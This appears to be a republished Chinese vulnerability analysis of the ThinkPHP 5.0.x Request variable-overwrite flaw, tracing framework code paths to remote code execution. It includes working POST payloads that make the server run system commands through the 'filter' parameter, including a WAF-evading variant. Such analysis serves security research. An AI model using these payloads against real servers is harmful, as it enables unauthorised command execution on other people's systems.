Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞。

介绍

Thinkphp框架官方提供核心版和完整版两种:

核心版因默认缺少利用链,需要开启Debug模式,才能造成远程代码执行。

完整版因自动加载组件,不需要开启Debug模式,直接造成远程代码执行。

本文将对thinkphp5.0.23核心版和thinkphp5.0.22完整版进行分析

5.0.23核心版分析

变量覆盖

tp5/thinkphp/library/think/Request.php:518

public function method($method = false){if (true === $method) {// 获取原始请求类型return $this->server('REQUEST_METHOD') ?: 'GET';} elseif (!$this->method) {if (isset($_POST[Config::get('var_method')])) {$this->method = strtoupper($_POST[Config::get('var_method')]);$this->{$this->method}($_POST);} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);} else {$this->method = $this->server('REQUEST_METHOD') ?: 'GET';}}return $this->method;}

在没有设置$this->method的时候,可以直接通过POST包含Config::get('var_method')配置参数的键值对进行赋值,在配置文件中为_method。

tp5/thinkphp/convention.php:102

接着就是$this->{$this->method}($_POST),这里可以根据post请求中的键值动态的调用任意的类成员方法,并且参数为$_POST,尝试动态调用Request类的__construct方法。

tp5/thinkphp/library/think/Request.php:135

    protected function __construct($options = []){foreach ($options as $name => $item) {if (property_exists($this, $name)) {$this->$name = $item;}}if (is_null($this->filter)) {$this->filter = Config::get('default_filter');}// 保存 php://input$this->input = file_get_contents('php://input');}

参数为$_POST,遍历POST中包含的参数的键名,如果类中包含对应键名的成员就进行赋值,这里就存在Request类成员变量覆盖。

Payload触发流程

整体流程主要分两部分,第一次$request->method()完成类成员变量的覆盖,第二次$request->param()包含$this->method(true)调用call_user_func完成代码执行。

Post-Data:

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls

入口点:

tp5/thinkphp/library/think/App.php:115

            if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);}

进入App::routeCheck函数

    public static function routeCheck($request, array $config){$path   = $request->path();$depr   = $config['pathinfo_depr'];$result = false;// 路由检测$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];if ($check) {// 开启路由if (is_file(RUNTIME_PATH . 'route.php')) {// 读取路由缓存$rules = include RUNTIME_PATH . 'route.php';is_array($rules) && Route::rules($rules);} else {$files = $config['route_config_file'];foreach ($files as $file) {if (is_file(CONF_PATH . $file . CONF_EXT)) {// 导入路由配置$rules = include CONF_PATH . $file . CONF_EXT;is_array($rules) && Route::import($rules);}}}// 路由检测(根据路由定义返回不同的URL调度)$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

进入App::check函数

    public static function check($request, $url, $depr = '/', $checkDomain = false){//检查解析缓存if (!App::$debug && Config::get('route_check_cache')) {$key = self::getCheckCacheKey($request);if (Cache::has($key)) {list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);}}// 分隔符替换 确保路由定义使用统一的分隔符$url = str_replace($depr, '|', $url);if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {// 检测路由别名$result = self::checkRouteAlias($request, $url, $depr);if (false !== $result) {return $result;}}$method = strtolower($request->method());......}

App::check函数中调用了上面提到的$request->method(),调用__construct函数,使用Post-Data键对值对类成员进行变量覆盖,并分别修改$this->server和$this->filter为数组。

函数栈调用完毕后,入口点继续执行,开启Debug模式后将会执行第三个Log::record函数

            if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);}// 记录当前调度信息$request->dispatch($dispatch);// 记录路由和请求信息if (self::$debug) {Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');}

进入$request->param()

tp5/thinkphp/library/think/Request.php:634

public function param($name = '', $default = null, $filter = '')
{if (empty($this->mergeParam)) {$method = $this->method(true);......
}

程序开头再一次调用了method函数,但是这次传递参数true,函数返回值为$this->server('REQUEST_METHOD'),调用server函数。

tp5/thinkphp/library/think/Request.php:862

public function server($name = '', $default = null, $filter = '')
{if (empty($this->server)) {$this->server = $_SERVER;}if (is_array($name)) {return $this->server = array_merge($this->server, $name);}return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

传入参数为字符串REQUEST_METHOD,进入input函数。

tp5/thinkphp/library/think/Request.php:999

    public function input($data = [], $name = '', $default = null, $filter = ''){if (false === $name) {// 获取原始数据return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);} else {$type = 's';}// 按.拆分成多维数组进行判断foreach (explode('.', $name) as $val) {if (isset($data[$val])) {$data = $data[$val];} else {// 无输入数据,返回默认值return $default;}}if (is_object($data)) {return $data;}}// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);reset($data);} else {$this->filterValue($data, $name, $filter);}

循环判断获取$data,通过getFilter函数获取$filter,最后传入filterValue函数。

tp5/thinkphp/library/think/Request.php:1082

就在此处完成任意代码执行。

5.0.22完整版分析

完整版拥有更丰富的组件,不需要开启DEBUG模式,因此利用链略有不同。

自动加载组件

可以从目录上看出,完整版组件较多。

Thinkphp拥有注册自动加载的功能,初始化时会加载引入其他组件,追踪此功能流程。

入口处:

tp5022/thinkphp/base.php:59

register函数 :

tp5022/thinkphp/library/think/Loader.php:282

public static function register($autoload = null)
{// 注册系统自动加载spl_autoload_register($autoload ?: 'thinkLoader::autoload', true, true);// Composer 自动加载支持if (is_dir(VENDOR_PATH . 'composer')) {if (PHP_VERSION_ID >= 50600 && is_file(VENDOR_PATH . 'composer' . DS . 'autoload_static.php')) {require VENDOR_PATH . 'composer' . DS . 'autoload_static.php';$declaredClass = get_declared_classes();$composerClass = array_pop($declaredClass);foreach (['prefixLengthsPsr4', 'prefixDirsPsr4', 'fallbackDirsPsr4', 'prefixesPsr0', 'fallbackDirsPsr0', 'classMap', 'files'] as $attr) {if (property_exists($composerClass, $attr)) {self::${$attr} = $composerClass::${$attr};}}} else {self::registerComposerLoader();}}// 注册命名空间定义self::addNamespace(['think'    => LIB_PATH . 'think' . DS,'behavior' => LIB_PATH . 'behavior' . DS,'traits'   => LIB_PATH . 'traits' . DS,]);// 加载类库映射文件if (is_file(RUNTIME_PATH . 'classmap' . EXT)) {self::addClassMap(__include_file(RUNTIME_PATH . 'classmap' . EXT));}self::loadComposerAutoloadFiles();

loadComposerAutoloadFiles函数 :

tp5022/thinkphp/library/think/Loader.php:357

__require_file函数:

tp5022/thinkphp/library/think/Loader.php:674

整个函数栈调用如下:

然后直接包含组件文件,组件文件中注册了GET路由:

tp5022/vendor/topthink/think-captcha/src/helper.php:12

thinkRoute::get('captcha/[:id]', "thinkcaptchaCaptchaController@index");

Route::get函数:

tp5022/thinkphp/library/think/Route.php:510

    public static function get($rule, $route = '', $option = [], $pattern = []){self::rule($rule, $route, 'GET', $option, $pattern);}

Route::rule函数:

tp5022/thinkphp/library/think/Route.php:232

public static function rule($rule, $route = '', $type = '*', $option = [], $pattern = [])
{$group = self::getGroup('name');if (!is_null($group)) {// 路由分组$option  = array_merge(self::getGroup('option'), $option);$pattern = array_merge(self::getGroup('pattern'), $pattern);}$type = strtolower($type);if (strpos($type, '|')) {$option['method'] = $type;$type             = '*';}if (is_array($rule) && empty($route)) {foreach ($rule as $key => $val) {if (is_numeric($key)) {$key = array_shift($val);}if (is_array($val)) {$route    = $val[0];$option1  = array_merge($option, $val[1]);$pattern1 = array_merge($pattern, isset($val[2]) ? $val[2] : []);} else {$option1  = null;$pattern1 = null;$route    = $val;}self::setRule($key, $route, $type, !is_null($option1) ? $option1 : $option, !is_null($pattern1) ? $pattern1 : $pattern, $group);}} else {self::setRule($rule, $route, $type, $option, $pattern, $group);}
}

Route::setRule函数:

tp5022/thinkphp/library/think/Route.php:281

protected static function setRule($rule, $route, $type = '*', $option = [], $pattern = [], $group = '')
{......if ($group) {if ('*' != $type) {$option['method'] = $type;}if (self::$domain) {self::$rules['domain'][self::$domain]['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];} else {self::$rules['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];}} else {if ('*' != $type && isset(self::$rules['*'][$rule])) {unset(self::$rules['*'][$rule]);}if (self::$domain) {self::$rules['domain'][self::$domain][$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];} else {self::$rules[$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];}......}
}

在最后一个else分支中对Route::$rules进行赋值,表示完成GET路由的注册,此时函数栈:

无需DEBUG利用链

Debug模式没开启的,则无法进度对应的Log::record函数,需要寻找新的调用$request->param()的利用链。

App::exec函数中的method开关是一个不错的选择,调用了Request::instance()->param()。

tp5022/thinkphp/library/think/App.php:139

            if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);}// 记录当前调度信息$request->dispatch($dispatch);// 记录路由和请求信息if (self::$debug) {Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');}// 监听 app_beginHook::listen('app_begin', $dispatch);// 请求缓存检查$request->cache($config['request_cache'],$config['request_cache_expire'],$config['request_cache_except']);$data = self::exec($dispatch, $config);

exec函数:

tp5022/thinkphp/library/think/App.php:445

protected static function exec($dispatch, $config)
{switch ($dispatch['type']) {case 'redirect': // 重定向跳转$data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);break;case 'module': // 模块/控制器/操作$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);break;case 'controller': // 执行控制器操作$vars = array_merge(Request::instance()->param(), $dispatch['var']);$data = Loader::action($dispatch['controller'],$vars,$config['url_controller_layer'],$config['controller_suffix']);break;case 'method': // 回调方法$vars = array_merge(Request::instance()->param(), $dispatch['var']);$data = self::invokeMethod($dispatch['method'], $vars);break;

exec函数接受两个参数,要进入method开关,需要传入exec函数的$dispatch调度信息可控,也就是App::routeCheck函数的返回值可控。

Post-Data,相比核心版增加一些参数:

POST /tp5022/public/?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

入口:tp5022/thinkphp/library/think/App.php:115

if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);
}

App::routeCheck函数:tp5022/thinkphp/library/think/App.php:617

public static function routeCheck($request, array $config)
{$path   = $request->path();$depr   = $config['pathinfo_depr'];$result = false;// 路由检测$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];if ($check) {// 开启路由if (is_file(RUNTIME_PATH . 'route.php')) {// 读取路由缓存$rules = include RUNTIME_PATH . 'route.php';is_array($rules) && Route::rules($rules);} else {$files = $config['route_config_file'];foreach ($files as $file) {if (is_file(CONF_PATH . $file . CONF_EXT)) {// 导入路由配置$rules = include CONF_PATH . $file . CONF_EXT;is_array($rules) && Route::import($rules);}}}// 路由检测(根据路由定义返回不同的URL调度)$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);......return $result;
}

$request->path()根据配置文件获取请求中的参数s得到$path的值为captcha,然后传入Route::check函数,返回值就是调度结果。

tp5022/thinkphp/library/think/Route.php:836

    public static function check($request, $url, $depr = '/', $checkDomain = false){......$method = strtolower($request->method());// 获取当前请求类型的路由规则$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];......if (!empty($rules)) {return self::checkRoute($request, $rules, $url, $depr);}return false;}

和核心版一样,使用$request->method()进行了类成员变量覆盖,不过POST数据中相比核心版多了method=get,就导致$this->method本身也被覆盖并且作为方法返回值,此时可控,也就是说$method此时为get。

接着到Route::$rules中获取get类型的路由规则存入$rules,这个路由规则就是vendor/topthink/think-captcha/src/helper.php中注册的get路由规则,。

Route::checkRoute 路由检查:

tp5022/thinkphp/library/think/Route.php:908

private static function checkRule($rule, $route, $url, $pattern, $option, $depr)
{......if (false !== $match = self::match($url, $rule, $pattern)) {// 匹配到路由规则return self::parseRule($rule, $route, $url, $option, $match);}}return false;
}

Route::match函数会检测URL和规则路由是否匹配,因此需要设置s=captcha。

Route::parseRule路由检查:

tp5022/thinkphp/library/think/Route.php:1390

    private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false){$request = Request::instance();......if ($route instanceof Closure) {// 执行闭包$result = ['type' => 'function', 'function' => $route];} elseif (0 === strpos($route, '/') || strpos($route, '://')) {// 路由到重定向地址$result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301];} elseif (false !== strpos($route, '')) {// 路由到方法list($path, $var) = self::parseUrlPath($route);$route            = str_replace('/', '@', implode('/', $path));$method           = strpos($route, '@') ? explode('@', $route) : $route;$result           = ['type' => 'method', 'method' => $method, 'var' => $var];......return $result;}

在elseif (false !== strpos($route, ''))中设置好$result,然后一层层返回,就是我们最上层的$dispatch

函数栈如下:

以上操作完成变量覆盖,$dispatch值的操纵,最后exec函数中进入method开关调用Request::instance()->param(),完成代码执行。

攻击链变形

在exec函数中,进入method开关并调用Request::instance()->param()后,除了上文讲述的利用$this->method(true)进行代码执行以外,还可以使用一个变形的攻击链(此处感谢八里送屌的指点,哈哈哈),适用版本更多,绕过一些waf。

Post-Data:

POST /tp5022/public/?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls

tp5022/thinkphp/library/think/Request.php:634

public function param($name = '', $default = null, $filter = '')
{......$this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 获取包含文件上传信息的数组$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter);
}

使用array_merge对三个变量进行合并,其中一个为例,进入get方法:

tp5022/thinkphp/library/think/Request.php:689

    public function get($name = '', $default = null, $filter = ''){if (empty($this->get)) {$this->get = $_GET;}if (is_array($name)) {$this->param      = [];return $this->get = array_merge($this->get, $name);}return $this->input($this->get, $name, $default, $filter);}

是对$this->get变量的操作,这个已经在前面通过POST数据变量覆盖,最后get方法返回$this->get。

最后合并后的$this->param的结果为:

然后在返回处传入input函数

return $this->input($this->param, $name, $default, $filter);

tp5022/thinkphp/library/think/Request.php:994

public function input($data = [], $name = '', $default = null, $filter = '')
{......// 解析过滤器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);}

通过array_walk_recursive再调用filterValue,完成代码执行。

作者: Rai4over

欢迎来安全脉搏查看更多的干货文章和我们一起交流互动哦!

脉搏地址:安全脉搏 | 分享技术,悦享品质

微博地址:Sina Visitor System

【注:安全脉搏所有文章未经许可,谢绝转载】

filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行相关推荐

  1. linux内核竞争条件漏洞,Linux内核竞争条件漏洞-导致远程代码执行

    原标题: Linux内核竞争条件漏洞-导致远程代码执行 导读*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版 ...

  2. linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...

  3. 高危OpenSSL 漏洞可导致远程代码执行

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 OpenSSL 中存在一个高危漏洞,可导致恶意人员在服务器端设备上实现远程代码执行. OpenSSL是一款使用广泛的加密库,提供SSL 和 TL ...

  4. 通达OA未授权任意文件上传及文件包含导致远程代码执行漏洞

    0x00 前言 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台. 0x01 漏洞简 ...

  5. 通达OA文件上传+文件包含导致远程代码执行漏洞复现

    漏洞说明 通达OA是一套办公系统.近日通达OA官方在其官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件并发布了多个版本的漏洞补丁.漏洞类型为任意文件上传,受影响的版本存在文件包含漏洞. 未 ...

  6. php post 漏洞_ThinkPHP5 5.0.23 远程代码执行漏洞

    作者介绍:Ice 国科学院安全学员,在国科学习安全课程,也参与在国科学生会安全团队中进行安全实战能力的提升.本次分享主要是针对现在一款运用极广的开发框架ThinkPHP的远程代码执行漏洞研究,希望给大 ...

  7. thinkphp5+远程代码执行_ThinkPHP5 5.0.23 远程代码执行漏洞

     漏洞描述 ThinkPHP是一款运用极广的PHP开发框架.其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程 ...

  8. thinkphp v5.0.11漏洞_ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析

    阅读: 10,272 1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日又接连发布两个更新,这三次更新都修复了一个安全问题,该问题可能导致远程代码执行 ,这是ThinkPHP ...

  9. Thinkphp V5.X 远程代码执行漏洞 - POC(精:集群5.0*、5.1*、5.2*)

    thinkphp-RCE-POC 官方公告: 1.https://blog.thinkphp.cn/869075 2.https://blog.thinkphp.cn/910675 POC: 批量检测 ...

最新文章

  1. js调用数科阅读器_阅读大型 JavaScript 源码时有什么好用的工具?
  2. Android--SlidingDrawer的使用介绍
  3. 软件和硬件的关系以及软件调动硬件的工作原理
  4. 分布式系统开发——调度技术
  5. cognos安装教程linux,linux环境下安装cognos10.2.1(菜鸟安装)
  6. Java类class isAssignableFrom()方法及示例
  7. scanf读取字符_在C语言中使用scanf()读取整数时跳过字符
  8. mysql做千万条压测数据
  9. 【车间调度】基于matlab改进的鲸鱼算法求解双目标柔性车间调度问题【含Matlab源码 026期】
  10. java jaas_JAAS 参考指南
  11. cpuz测试分数天梯图_cpubenchmark(2020电脑cpu性能天梯图)
  12. 计算机专业数学建模结课论文,大学生数学建模论文范文
  13. html5移动页面自适应手机屏幕大小,移动页面自适应手机屏幕的方法
  14. Windows11怎么配置Maven环境变量
  15. MOEA基于分解的多目标进化算法
  16. opencv raw转rgb_使用OpenCV实现RGB、HSI、CMYK颜色空间的转换
  17. python因子分析_python中的因子分析简介
  18. 【jQuery】货币格式化
  19. Java中的“无限循环”结构
  20. C语言16进制乘法怎么算,16进制数之间的加法怎么算

热门文章

  1. PyTorch 1.9发布,支持新API,可在边缘设备中执行
  2. 字节跳动内部 MySQL 学习笔记火了,完整版开放下载!
  3. 教育部:国外经历不得作为高校招聘限制性条件
  4. 旋转框检测方法综述:RotateAnchor系列
  5. 2019年9月全国程序员工资统计,看看你拖后腿了没?
  6. 包邮送25本经典书籍,无任何套路!
  7. Linux内核网络栈1.2.13-icmp.c概述
  8. CNVD初次获取的源代码格式
  9. Python环境的安装(Anaconda+Jupyter notebook+Pycharm)
  10. 基础知识——类和文件和异常(六)